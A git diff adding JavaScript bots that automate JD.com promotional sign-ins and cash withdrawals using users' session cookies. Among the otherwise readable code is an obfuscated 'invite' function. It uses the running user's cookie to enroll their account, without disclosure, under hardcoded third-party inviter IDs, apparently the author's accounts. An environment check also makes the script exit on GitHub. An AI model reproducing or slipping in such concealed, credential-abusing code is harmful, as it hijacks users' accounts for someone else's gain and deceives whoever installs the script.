+ body: `functionId=apCashWithDraw&body=${escape(JSON.stringify(body))}&_t=${+new Date()}&appid=activities_platform`,
+ headers: {
+ 'Cookie': cookie,
+ "Host": "api.m.jd.com",
+ 'Origin': 'https://daily-redpacket.jd.com',
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Accept": "*/*",
+ "Connection": "keep-alive",
+ "User-Agent": "jdltapp;iPhone;3.3.2;14.5.1network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone13,2;addressid/137923973;hasOCPay/0;appBuild/1047;supportBestPay/0;pv/467.11;apprpd/MyJD_Main;",
+ "Accept-Language": "zh-Hans-CN;q=1, en-CN;q=0.9, zh-Hant-CN;q=0.8",
+ 'Referer': 'https://daily-redpacket.jd.com/?activityId=9WA12jYGulArzWS7vcrwhw',
+ "Accept-Encoding": "gzip, deflate, br"
+ }
+ }
+ $.post(options, async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = $.toObj(data);
+ if (data.code === 0) {
+ if (data.data.status === "310") {
+ console.log(`极速版签到提现现金成功!`)
+ message += `极速版签到提现现金成功!`;
+ } else {
+ console.log(`极速版签到提现现金:失败:${JSON.stringify(data)}\n`);
+ }
+ } else {
+ console.log(`极速版签到提现现金:异常:${JSON.stringify(data)}\n`);
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function cashOut(id,poolBaseId,prizeGroupId,prizeBaseId,) {
+ let body = {
+ "businessSource": "SPRING_FESTIVAL_RED_ENVELOPE",
+ "base": {
+ "id": id,
+ "business": null,
+ "poolBaseId": poolBaseId,
+ "prizeGroupId": prizeGroupId,
+ "prizeBaseId": prizeBaseId,
+ "prizeType": 4
+ },
+ linkId,
+ "inviter": ""
+ }
+ return new Promise(resolve => {
+ $.post(taskPostUrl("apCashWithDraw",body), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ console.log(`提现零钱结果:${data}`)
+ data = JSON.parse(data);
+ if (data.code === 0) {
+ if (data['data']['status'] === "310") {
+ console.log(`提现成功!`)
+ message += `提现成功!\n`;
+ } else {
+ console.log(`提现失败:${data['data']['message']}`);
+ message += `提现失败:${data['data']['message']}`;
+ }
+ } else {
+ console.log(`提现异常:${data['errMsg']}`);
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+
+
+var _0xod6='jsjiami.com.v6',_0x4f1a=[_0xod6,'HMOaWlMH','w5DCn8Oyw79Jw7MQwrc8f8ObSDVnwrFKd8OiNMOnwrfDosO1wpU4GcKdwooVw7IzAMKSa8OabcK4wqVkw7xydnQjSzN+wr41f8OfEsKXwoFrwq3CncORQT7DthtjwrRZw7zDu8KtXXQaw7ZbSsKFW8Oww7bCpMKaWwdYJzspwqhmdsO+w7XClcOsw57Ci2PCnDdow7rCtWjCtlTCiWLCpMO2HsOlwo/Dk8KPXlbCgREww5bDmcKGBsKlw6jDoXVKLsKxwqXDjsOBwrsswq8aw6YTc2B2wqIGwrEjYRHCpsKfNlpXw4TDhMKzwowrw4vCmWvCmMK7wq1GwoUGIcKEHUVnw6JCwqjDqMKKdcOMXR/Cj8K/a0TDocOgwprCnQnDp8KBbGTCildPDENGayPDucORw5APwphTT1vDti02wqZxwqxrDFDCo0PDrj/CjsK3w7nCmT/DmcKBwq7DhFBQY8OHw53DsEzDqE/DssKhwqbCsFIHwqLDj8OqfhpUw4nCqUXCtcKVwpMSwoXCk202a2nDmMO3','w6jDk3JA','RBx7U8KWbcKmb8Orw5DCoMKOw7hew77CvcKLemDDhcOfY8K7wr5yHsOPZwVrFMKXaGfCjcK8wpgIwoTCvMOfwpPDi8OZwrrCgGTCj8ObAw==','w7Fpw7TDsGYIwrVDXBLCnsK/TsOHPcO5w7HDpE7CpcK+PsKhw7jDvMKFworCgXfCuMOQwojCo8KCwoLCvAEPFVo6EgxJGhM=','w6wBw4FewrsVwqfDqcOJP8Kmw7l9MUIowqXCrWTDt1hxwo8vdXJ7Z8KzwonDsSA1worDqi5CT8OXw6jCuRbCn0k=','w6Euw4x/wrAjw5LDiMO+WMKyw7MEZkA6w4/Cg2bDqVlgw7d1','wpHCtcOcbsK0BcO1QUHCpcKqw6jCsnfDt0PDkMODw4k+Z03DqcO3','Ak8AMsKGDcOhTsKoAg7DicOcwrdlO8O3aMONIivDtsOnw5jDmhvDhcOTw5rCp8Omw7DCqSrDjlZdw6IyDMK1R8K6Cg==','wqLDisKgwqQSw4cUwqlydsKdCDV+w4p7IMOHFsK6w4bCr8Oqwoo=','wqzClsOqNcKbwrnDtMKbQMODwq5cw4HCmgLDpMKEwrAqCMKsdFhi','JGjDlT8Rew48w47CgGbDkMOJwrBFZXIjw7vDh8KjwoTCjMOb','wqDCncOSMcKRXMO9fSbCq8Knw4I=','AMKdNcKTwolYF08nw44sw6DDiydVY8Krw5zClAjDul0Tw4vDsC8EZg==','w5QrO3ly','AX8mNw==','wrHDicK7w4RV','w7DCn8OnZcKv','LsKOTsKrw4w=','MsKpZ0/DqQ==','IsKUAyRs','w7Mgw4Ffw6w=','ElzCl3vDgQ==','OkrCsHHDrQ==','eMKBw4QRw5U=','woMewqBXwoI=','LRhpVlLDicO3e8OZRMKBw4rCg8KrwqLDtMK3a01KwoZPw5LCmBVSwozDs8Klwo4GdcKeS2zCnFFdbkbDjMK0woFb','w48Jw6h/w5Y=','wqUkOMKfwr0=','esOMw5fCocKgwoo=','EMK3EHHDkQ==','w7QJw7ZHwrgvwofDt8OWZcKpwrdPJAQawoHDqDDDqx9Mw6c9N3gmeMKnwpLDpzAy','SB7CgnNu','BcKveXHDrA==','YcOew7fCqsKrwoI=','wrrCssK/','OSAXcMK1GMKcfsOhw6DCo8O4w7s=','wp9BAz1a','M18ZwpHCsA/Du8KvXcOb','fHEIw47Cr8KdHw==','FU7CrXQ=','BsKhWMKAw6HDmD8=','wobChcK/w5LDsg==','wrDCncOhWsKM','OjXsjyiyamHeBi.cpom.kv6LpDS=='];(function(_0x5219f0,_0xb82621,_0x13c086){var _0x4eaaf0=function(_0x538aa0,_0x12707e,_0x2c7ef7,_0x7dd858,_0x24590f){_0x12707e=_0x12707e>>0x8,_0x24590f='po';var _0x2aa13f='shift',_0x259370='push';if(_0x12707e<_0x538aa0){while(--_0x538aa0){_0x7dd858=_0x5219f0[_0x2aa13f]();if(_0x12707e===_0x538aa0){_0x12707e=_0x7dd858;_0x2c7ef7=_0x5219f0[_0x24590f+'p']();}else if(_0x12707e&&_0x2c7ef7['replace'](/[OXyyHeBpkLpDS=]/g,'')===_0x12707e){_0x5219f0[_0x259370](_0x7dd858);}}_0x5219f0[_0x259370](_0x5219f0[_0x2aa13f]());}return 0x8a767;};return _0x4eaaf0(++_0xb82621,_0x13c086)>>_0xb82621^_0x13c086;}(_0x4f1a,0x137,0x13700));var _0x4190=function(_0xaaecd5,_0x593020){_0xaaecd5=~~'0x'['concat'](_0xaaecd5);var _0x2e7b9f=_0x4f1a[_0xaaecd5];if(_0x4190['sDfRUY']===undefined){(function(){var _0xbff5a5=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x362fe4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xbff5a5['atob']||(_0xbff5a5['atob']=function(_0x5daa56){var _0x597031=String(_0x5daa56)['replace'](/=+$/,'');for(var _0x32e623=0x0,_0x3a311d,_0x45b5c4,_0xd282f2=0x0,_0x4e69f9='';_0x45b5c4=_0x597031['charAt'](_0xd282f2++);~_0x45b5c4&&(_0x3a311d=_0x32e623%0x4?_0x3a311d*0x40+_0x45b5c4:_0x45b5c4,_0x32e623++%0x4)?_0x4e69f9+=String['fromCharCode'](0xff&_0x3a311d>>(-0x2*_0x32e623&0x6)):0x0){_0x45b5c4=_0x362fe4['indexOf'](_0x45b5c4);}return _0x4e69f9;});}());var _0x2427ed=function(_0x1bbc2f,_0x593020){var _0x4ec58a=[],_0x38b3c9=0x0,_0x4c5e52,_0x525bdc='',_0x547526='';_0x1bbc2f=atob(_0x1bbc2f);for(var _0x1c2cb0=0x0,_0x1fab52=_0x1bbc2f['length'];_0x1c2cb0<_0x1fab52;_0x1c2cb0++){_0x547526+='%'+('00'+_0x1bbc2f['charCodeAt'](_0x1c2cb0)['toString'](0x10))['slice'](-0x2);}_0x1bbc2f=decodeURIComponent(_0x547526);for(var _0x3262a0=0x0;_0x3262a0<0x100;_0x3262a0++){_0x4ec58a[_0x3262a0]=_0x3262a0;}for(_0x3262a0=0x0;_0x3262a0<0x100;_0x3262a0++){_0x38b3c9=(_0x38b3c9+_0x4ec58a[_0x3262a0]+_0x593020['charCodeAt'](_0x3262a0%_0x593020['length']))%0x100;_0x4c5e52=_0x4ec58a[_0x3262a0];_0x4ec58a[_0x3262a0]=_0x4ec58a[_0x38b3c9];_0x4ec58a[_0x38b3c9]=_0x4c5e52;}_0x3262a0=0x0;_0x38b3c9=0x0;for(var _0x22187d=0x0;_0x22187d<_0x1bbc2f['length'];_0x22187d++){_0x3262a0=(_0x3262a0+0x1)%0x100;_0x38b3c9=(_0x38b3c9+_0x4ec58a[_0x3262a0])%0x100;_0x4c5e52=_0x4ec58a[_0x3262a0];_0x4ec58a[_0x3262a0]=_0x4ec58a[_0x38b3c9];_0x4ec58a[_0x38b3c9]=_0x4c5e52;_0x525bdc+=String['fromCharCode'](_0x1bbc2f['charCodeAt'](_0x22187d)^_0x4ec58a[(_0x4ec58a[_0x3262a0]+_0x4ec58a[_0x38b3c9])%0x100]);}return _0x525bdc;};_0x4190['LOUkSd']=_0x2427ed;_0x4190['cxlfXf']={};_0x4190['sDfRUY']=!![];}var _0x1f7209=_0x4190['cxlfXf'][_0xaaecd5];if(_0x1f7209===undefined){if(_0x4190['pdZcpZ']===undefined){_0x4190['pdZcpZ']=!![];}_0x2e7b9f=_0x4190['LOUkSd'](_0x2e7b9f,_0x593020);_0x4190['cxlfXf'][_0xaaecd5]=_0x2e7b9f;}else{_0x2e7b9f=_0x1f7209;}return _0x2e7b9f;};function invite(){var _0x4c359b={'BDyjj':'Lp3j8bN3zVW7XBBFzA%2Fh0IjHF0tn8HHhELd%2BqviJRJw%3D','CzkXt':_0x4190('0','O7Jj'),'olBdu':_0x4190('1','!WHt'),'OJbOL':_0x4190('2','Wirr'),'MSPXS':_0x4190('3','Wirr'),'vBVQg':_0x4190('4','60!F'),'nXJoY':'HdFQh5IbAZFVC1pGUIz44b2JohZPS5BW6QLKyz/wAhY=','MAoNJ':_0x4190('5','K^N3'),'eWHDf':_0x4190('6','Z@Wp'),'MNwBw':_0x4190('7','V)zB'),'GLxTr':_0x4190('8','!Ok3'),'RqcOc':'VbAuzdLrRQv8DT8VU4gR66uCcg4QHrWnW+DyOv8IedA=','ajCQw':function(_0x2cce24,_0x562d5d){return _0x2cce24*_0x562d5d;},'qkXko':_0x4190('9','60!F'),'DPrdZ':'application/json,\x20text/plain,\x20*/*','mUpSd':_0x4190('a','9*(C'),'zUNfV':_0x4190('b','mKeA'),'HIayc':function(_0x1a1b78,_0x43fb04){return _0x1a1b78(_0x43fb04);},'lvRJs':'./JS_USER_AGENTS','rHUPU':_0x4190('c','K^N3'),'qpZEp':'https://invite-reward.jd.com/','tRmYc':function(_0x368db7,_0x25c256){return _0x368db7(_0x25c256);}};let _0x2448b2=+new Date();let _0x157083=['Wy3rGd8o4Vckq1VucBFJjA==',_0x4c359b['BDyjj'],_0x4c359b[_0x4190('d','Z@Wp')],_0x4c359b[_0x4190('e','V)zB')],_0x4c359b[_0x4190('f','hOQs')],_0x4c359b[_0x4190('10','XN2O')],_0x4c359b[_0x4190('11','By6G')],_0x4c359b['vBVQg'],_0x4c359b[_0x4190('12','zztw')],_0x4c359b[_0x4190('13','%npS')],'2OldVZc5pETBD81XU85thQ==',_0x4c359b[_0x4190('14','%npS')],_0x4c359b[_0x4190('15','PirR')],_0x4c359b[_0x4190('16','1DK0')],_0x4190('17','Phvn'),'kqLZC8D0wWlL5W9olLLuufCc6GH4caIGABQEmpeiokM=',_0x4c359b[_0x4190('18','zztw')]][Math[_0x4190('19','H@!d')](_0x4c359b['ajCQw'](Math[_0x4190('1a','ZDlE')](),0x11))];var _0x57e37a={'Host':_0x4c359b[_0x4190('1b','mSa3')],'accept':_0x4c359b['DPrdZ'],'content-type':_0x4190('1c','Wirr'),'origin':_0x4c359b[_0x4190('1d','6vaq')],'accept-language':_0x4c359b[_0x4190('1e','XN2O')],'user-agent':$[_0x4190('1f','ZDlE')]()?process[_0x4190('20','&xMM')][_0x4190('21','O7Jj')]?process['env']['JS_USER_AGENT']:_0x4c359b['HIayc'](require,_0x4c359b[_0x4190('22','sT8r')])[_0x4190('23','$rvK')]:$[_0x4190('24','2XK]')](_0x4190('25','%npS'))?$[_0x4190('26','hOQs')](_0x4c359b[_0x4190('27','iF*K')]):'\x27jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0\x20(iPad;\x20CPU\x20OS\x2014_4\x20like\x20Mac\x20OS\x20X)\x20AppleWebKit/605.1.15\x20(KHTML,\x20like\x20Gecko)\x20Mobile/15E148;supportJDSHWK/1','referer':_0x4c359b[_0x4190('28','60!F')],'Cookie':cookie};var _0x4f674b='functionId=InviteFriendApiService&body={\x22method\x22:\x22attendInviteActivity\x22,\x22data\x22:{\x22inviterPin\x22:\x22'+_0x4c359b[_0x4190('29','TM98')](encodeURIComponent,_0x157083)+_0x4190('2a','Z@Wp')+_0x2448b2;var _0x5ab1fc={'url':'https://api.m.jd.com/?t='+ +new Date(),'headers':_0x57e37a,'body':_0x4f674b};$[_0x4190('2b','XlEU')](_0x5ab1fc,(_0x727473,_0x590d22,_0x35ad09)=>{});};_0xod6='jsjiami.com.v6';
+
+function taskPostUrl(function_id, body) {
+ return {
+ url: `https://api.m.jd.com/`,
+ body: `appid=activities_platform&functionId=${function_id}&body=${escape(JSON.stringify(body))}&t=${+new Date()}`,
+ headers: {
+ 'Cookie': cookie,
+ 'Host': 'api.m.jd.com',
+ 'Accept': '*/*',
+ 'Connection': 'keep-alive',
+ // 'user-agent': $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ 'user-agent': "jdltapp;iPhone;3.3.2;14.3;b488010ad24c40885d846e66931abaf532ed26a5;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,8;addressid/2005183373;hasOCPay/0;appBuild/1049;supportBestPay/0;pv/220.46;apprpd/;ref/JDLTSubMainPageViewController;psq/0;ads/;psn/b488010ad24c40885d846e66931abaf532ed26a5|520;jdv/0|iosapp|t_335139774|liteshare|CopyURL|1618673222002|1618673227;adk/;app_device/IOS;pap/JA2020_3112531|3.3.2|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1 ",
+ 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9',
+ 'Accept-Encoding': 'gzip, deflate, br',
+ 'Content-Type': "application/x-www-form-urlencoded",
+ "referer": "https://an.jd.com/babelDiy/Zeus/q1eB6WUB8oC4eH1BsCLWvQakVsX/index.html"
+ }
+ }
+}
+
+
+function taskGetUrl(function_id, body) {
+ return {
+ url: `https://api.m.jd.com/?appid=activities_platform&functionId=${function_id}&body=${escape(JSON.stringify(body))}&t=${+new Date()}`,
+ headers: {
+ 'Cookie': cookie,
+ 'Host': 'api.m.jd.com',
+ 'Accept': '*/*',
+ 'Connection': 'keep-alive',
+ 'user-agent': $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9',
+ 'Accept-Encoding': 'gzip, deflate, br',
+ 'Content-Type': "application/x-www-form-urlencoded",
+ "referer": "https://an.jd.com/babelDiy/Zeus/q1eB6WUB8oC4eH1BsCLWvQakVsX/index.html"
+ }
+ }
+}
+
+function TotalBean() {
+ return new Promise(async resolve => {
+ const options = {
+ url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion",
+ headers: {
+ Host: "me-api.jd.com",
+ Accept: "*/*",
+ Connection: "keep-alive",
+ Cookie: cookie,
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ "Accept-Language": "zh-cn",
+ "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&",
+ "Accept-Encoding": "gzip, deflate, br"
+ }
+ }
+ $.get(options, (err, resp, data) => {
+ try {
+ if (err) {
+ $.logErr(err)
+ } else {
+ if (data) {
+ data = JSON.parse(data);
+ if (data['retcode'] === "1001") {
+ $.isLogin = false; //cookie过期
+ return;
+ }
+ if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) {
+ $.nickName = data.data.userInfo.baseInfo.nickname;
+ }
+ } else {
+ $.log('京东服务器返回空数据');
+ }
+ }
+ } catch (e) {
+ $.logErr(e)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+
+function safeGet(data) {
+ try {
+ if (typeof JSON.parse(data) == "object") {
+ return true;
+ }
+ } catch (e) {
+ console.log(e);
+ console.log(`京东服务器访问数据为空,请检查自身设备网络情况`);
+ return false;
+ }
+}
+
+function jsonParse(str) {
+ if (typeof str == "string") {
+ try {
+ return JSON.parse(str);
+ } catch (e) {
+ console.log(e);
+ $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie')
+ return [];
+ }
+ }
+}
+// prettier-ignore
+function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)}
diff --git a/Task/jd_speed_sign.js b/Task/jd_speed_sign.js
new file mode 100644
index 0000000..d55beda
--- /dev/null
+++ b/Task/jd_speed_sign.js
@@ -0,0 +1,755 @@
+/*
+京东极速版签到+赚现金任务
+每日9毛左右,满3,10,50可兑换无门槛红包
+⚠️⚠️⚠️一个号需要运行40分钟左右
+
+活动时间:长期
+活动入口:京东极速版app-现金签到
+已支持IOS双京东账号,Node.js支持N个京东账号
+脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js
+============Quantumultx===============
+[task_local]
+#京东极速版
+0 7 * * * jd_speed_sign.js, tag=京东极速版, img-url=https://raw.githubusercontent.com/Orz-3/task/master/jd.png, enabled=true
+
+================Loon==============
+[Script]
+cron "0 7 * * *" script-path=jd_speed_sign.js,tag=京东极速版
+
+===============Surge=================
+京东极速版 = type=cron,cronexp="0 7 * * *",wake-system=1,timeout=33600,script-path=jd_speed_sign.js
+
+============小火箭=========
+京东极速版 = type=cron,script-path=jd_speed_sign.js, cronexpr="0 7 * * *", timeout=33600, enable=true
+*/
+
+const $ = new Env('京东极速版');
+
+const notify = $.isNode() ? require('./sendNotify') : '';
+//Node.js用户请在jdCookie.js处填写京东ck;
+const jdCookieNode = $.isNode() ? require('./jdCookie.js') : '';
+
+
+let cookiesArr = [], cookie = '', message;
+if ($.isNode()) {
+ Object.keys(jdCookieNode).forEach((item) => {
+ cookiesArr.push(jdCookieNode[item])
+ })
+ if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {
+ };
+} else {
+ cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item);
+}
+
+const JD_API_HOST = 'https://api.m.jd.com/', actCode = 'visa-card-001';
+
+
+!(async () => {
+ if (!cookiesArr[0]) {
+ $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+ return;
+ }
+ for (let i = 0; i < cookiesArr.length; i++) {
+ if (cookiesArr[i]) {
+ cookie = cookiesArr[i];
+ $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1])
+ $.index = i + 1;
+ $.isLogin = true;
+ $.nickName = '';
+ message = '';
+ await TotalBean();
